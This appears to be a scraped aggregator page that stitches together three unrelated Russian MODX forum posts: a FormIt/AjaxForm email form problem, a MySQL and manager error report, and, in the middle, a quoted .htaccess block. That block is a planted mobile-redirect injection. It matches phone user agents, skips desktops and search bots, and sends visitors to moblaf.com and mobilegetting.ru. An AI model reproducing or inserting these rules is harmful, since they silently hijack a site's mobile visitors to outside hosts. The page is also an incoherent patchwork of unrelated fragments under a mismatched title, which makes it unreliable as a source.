Глюки с Modx. Modx невозможно запустить функцию mail


Как забрать данные с формы и отравить их письмом на определённую почту? / modx.pro

Есть сайт на MODX Revo 2.6.1-p, установлены FormIt и AjaxForm. Пытаюсь с помощью AjaxForm обработать форму, отправить письмо и при этом через FormIt записать обращение в админку. Вроде всё делал по мануалу, но тщетно( В шаблон страницы запихиваю следующее:[[!AjaxForm? &form=`test.form` &snippet=`FormIt` &hooks=`email` &emailSubject=`Тестовое сообщение` &emailTo=`[email protected]` &emailFrom=`[email protected]` &emailTpl=`test_email` &validate=`FIO:minLength=^2^,email:email:required` &validationErrorMessage=`В форме содержатся ошибки!` &successMessage=`Сообщение успешно отправлено` ]]При этом форму AjaxForm выводит, даже происходит какая-то обработка, НО когда ввожу КОРРЕКТНЫЕ данные в форму — ругается, говоря «Форма содержит ошибки» (не «В форме содержатся ошибки!», как записано в validationErrorMessage, а именно это), а когда вместо чанка «test.form» ставлю стандартный чанк «tpl.AjaxForm.example» от AjaxForm — говорит «Форма успешно отправлена», а не «Сообщение успешно отправлено», при этом письмо ТОЖЕ НЕ отправляется и данные в админку ТОЖЕ НЕ уходят… Теряюсь в догадках, что и как это может быть… Никакие правки в AjaxForm и FormIt не вносил, всё стандартно. Подскажите пожалуйста, что делаю не так??? Вот ещё код чанка формы:<form method="post"> <div> <div> Анкета </div> <div> <label for="position">*Желаемая должность</label> <input type="text" name="position" placeholder="Например, повар" value="[[+fi.position]]"> <span>[[+fi.error.position]]</span> <label for="FIO">*Ваши фамилия, имя и Отчество</label> <input type="text" name="FIO" placeholder="ФИО" value="[[+fi.FIO]]"> <span>[[+fi.error.FIO]]</span> <div> <div> <label for="phone">*Ваш номер телефона</label> <input type="text" name="phone" placeholder="+7 (999) 999-99-99" value="[[+fi.phone]]"> <span>[[+fi.error.phone]]</span> </div> <div> <label for="email">*Ваш e-mail</label> <input type="text" name="email" placeholder="[email protected]" value="[[+fi.email]]"> <span>[[+fi.error.email]]</span> </div> <div> <label for="birthday">*Дата рождения</label> <input type="text" name="birthday" placeholder="1 марта 1992 года" value="[[+fi.birthday]]"> <span>[[+fi.error.birthday]]</span> </div> <div> <label for="grade">*Образование</label> <input type="text" name="grade" placeholder="Например: высшее, Инженер" value="[[+fi.grade]]"> <span>[[+fi.error.grade]]</span> </div> </div> <label for="place">*Место проживания: город, улица, дом, квартира</label> <input type="text" name="place" placeholder="Владивосток, Борисенко 22, 45" value="[[+fi.place]]"> <span>[[+fi.error.place]]</span> <p>Место работы в обратном порядке</p> <div> <div> <label for="fired-date1">Дата приема/увольнение</label> <input type="text" name="fired-date1" placeholder="20.03.2015 / 20.04.2016" value="[[+fi.fired-date1]]"> <span>[[+fi.error.fired-date1]]</span> </div> <div> <label for="organization1">Название организации</label> <input type="text" name="organization1" placeholder="И.П. Гниломедов" value="[[+fi.organization1]]"> <span>[[+fi.error.organization1]]</span> </div> <div> <label for="fired-position1">Должность</label> <input type="text" name="fired-position1" placeholder="Водитель" value="[[+fi.fired-position1]]"> <span>[[+fi.error.fired-position1]]</span> </div> <div> <label for="fired-date2">Дата приема/увольнение</label> <input type="text" name="fired-date2" placeholder="20.03.2015 / 20.04.2016" value="[[+fi.fired-date2]]"> <span>[[+fi.error.fired-date2]]</span> </div> <div> <label for="organization2">Название организации</label> <input type="text" name="organization2" placeholder="И.П. Гниломедов" value="[[+fi.organization2]]"> <span>[[+fi.error.organization2]]</span> </div> <div> <label for="fired-position2">Должность</label> <input type="text" name="fired-position2" placeholder="Водитель" value="[[+fi.fired-position2]]"> <span>[[+fi.error.fired-position2]]</span> </div> </div> </div> <!--<input type="submit" name="submit" action="">--> <button type="submit" name="submit">[[%af_submit]]</button> [[+fi.success:is=`1`:then=` <div>[[+fi.successMessage]]</div> `]] [[+fi.validation_error:is=`1`:then=` <div>[[+fi.validation_error_message]]</div> `]] <p>*Звездочкой помечены поля, обязательные для заполнения</p> <p>**Заполняя анкету, Вы даете согласие на обработку персональных данных</p> </div> </form>А это код чанка письма (возвращаю всего 1 поле для теста, чтобы все не писать):<h4>Сообщение</h4> <p>От кого: [[+fi.FIO]]</p> <p>E-mail: </p> <p>Телефон: </p> <p>Сообщение: </p>

modx.pro

Прямой эфир / MODX.im

Хорошо. Были такие: RewriteEngine on RewriteCond %{HTTP_USER_AGENT} android [NC,OR] RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR] RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR] RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR] RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR] RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR] RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR] RewriteCond %{HTTP:Profile} .+ [NC,OR] RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR] RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR] RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR] RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC] RewriteCond %{QUERY_STRING} !noredirect [NC] RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC] RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC] RewriteRule ^(.*)$ http://moblaf.com [L,R=302] RewriteEngine on RewriteCond %{HTTP_USER_AGENT} android [NC,OR] RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR] RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR] RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR] RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR] RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR] RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR] RewriteCond %{HTTP:Profile} .+ [NC,OR] RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR] RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR] RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR] RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC] RewriteCond %{QUERY_STRING} !noredirect [NC] RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC] RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC] RewriteRule ^(.*)$ http://mobilegetting.ru/e/7749 [L,R=302]

modx.im

Глюки с Modx / modx.pro

Доброго времени суток!

Вчера поставил на домен новую систему модекса версии 2.5.5. Однако после установки, и заполнения контента пошли какие-то непонятные ошибки и сбои.

Я защитил свои данные в .htaccess дефолтными установками, что прилагались к установочному пакету. Кроме того, я сменил права доступа к папкам на 644 у файлов, и у папок на 755. Тем не менее возникать стали сбои в работе системы. Сначала я грешил это на проблемы с интернетом, однако, потом после смены точки доступа, ситуация повторилась. Потому решил написать вам, в службу поддержки.

С чем это связанно?

Прикладываю еще часть логов из ядра системы. /public_html/core/cache/logs Там такое написано:

[2017-03-01 06:49:44] (ERROR @ /home/u464802808/public_html/core/xpdo/om/xpdoobject.class.php: 240) Error HY000 executing statement: Array ( [0] => HY000 [1] => 2006 [2] => MySQL server has gone away )

[2017-03-01 06:49:31] (ERROR in xPDOConnection::connect @ /home/u464802808/public_html/core/xpdo/xpdo.class.php: 3116) SQLSTATE[42000] [1226] User 'u464802808_sibum' has exceeded the 'max_user_connections' resource (current value: 3) [2017-03-01 06:49:44] (ERROR @ /home/u464802808/public_html/core/xpdo/om/xpdoquery.class.php: 653) Could not construct or prepare query because it is invalid or could not connect: SELECT `modExtensionPackage`.`id`, `modExtensionPackage`.`namespace`, `modExtensionPackage`.`name`, `modExtensionPackage`.`path`, `modExtensionPackage`.`table_prefix`, `modExtensionPackage`.`service_class`, `modExtensionPackage`.`service_name`, `modExtensionPackage`.`created_at`, `modExtensionPackage`.`updated_at`, Namespace.path AS namespace_path FROM `sibum_extension_packages` AS `modExtensionPackage` JOIN `sibum_namespaces` `Namespace` ON `modExtensionPackage`.`namespace` = `Namespace`.`name` ORDER BY namespace ASC [2017-03-01 06:49:44] (ERROR @ /home/u464802808/public_html/core/xpdo/om/xpdoobject.class.php: 240) Error HY000 executing statement: Array ( [0] => HY000 [1] => 2006 [2] => MySQL server has gone away )

[2017-03-01 06:49:44] (ERROR @ /home/u464802808/public_html/core/xpdo/om/xpdoobject.class.php: 240) Error HY000 executing statement: Array ( [0] => HY000 [1] => 2006 [2] => MySQL server has gone away )

Когда я захожу в раздел менеджера, то там почему-то пропадают заголовки и просто невозможно бывает редактировать данные в контенте. Потому прошу помощи, чтобы решить данную проблему.

Общий лог, также диагностирует ошибки:

[01-Mar-2017 12:05:39 UTC] PHP Fatal error: Call to a member function render() on null in /home/u464802808/public_html/manager/controllers/default/welcome.class.php on line 64 [01-Mar-2017 12:57:57 UTC] PHP Fatal error: Call to a member function render() on null in /home/u464802808/public_html/manager/controllers/default/welcome.class.php on line 64 [01-Mar-2017 13:05:06 UTC] PHP Fatal error: Call to a member function render() on null in /home/u464802808/public_html/manager/controllers/default/welcome.class.php on line 64

Кроме того, иногда пишет, что страница underfined, где собственно ничего нельзя отредактировать. Помогите решить данную проблему.

С уважением, Андрей.

modx.pro


Prostoy-Site | Все права защищены © 2018 | Карта сайта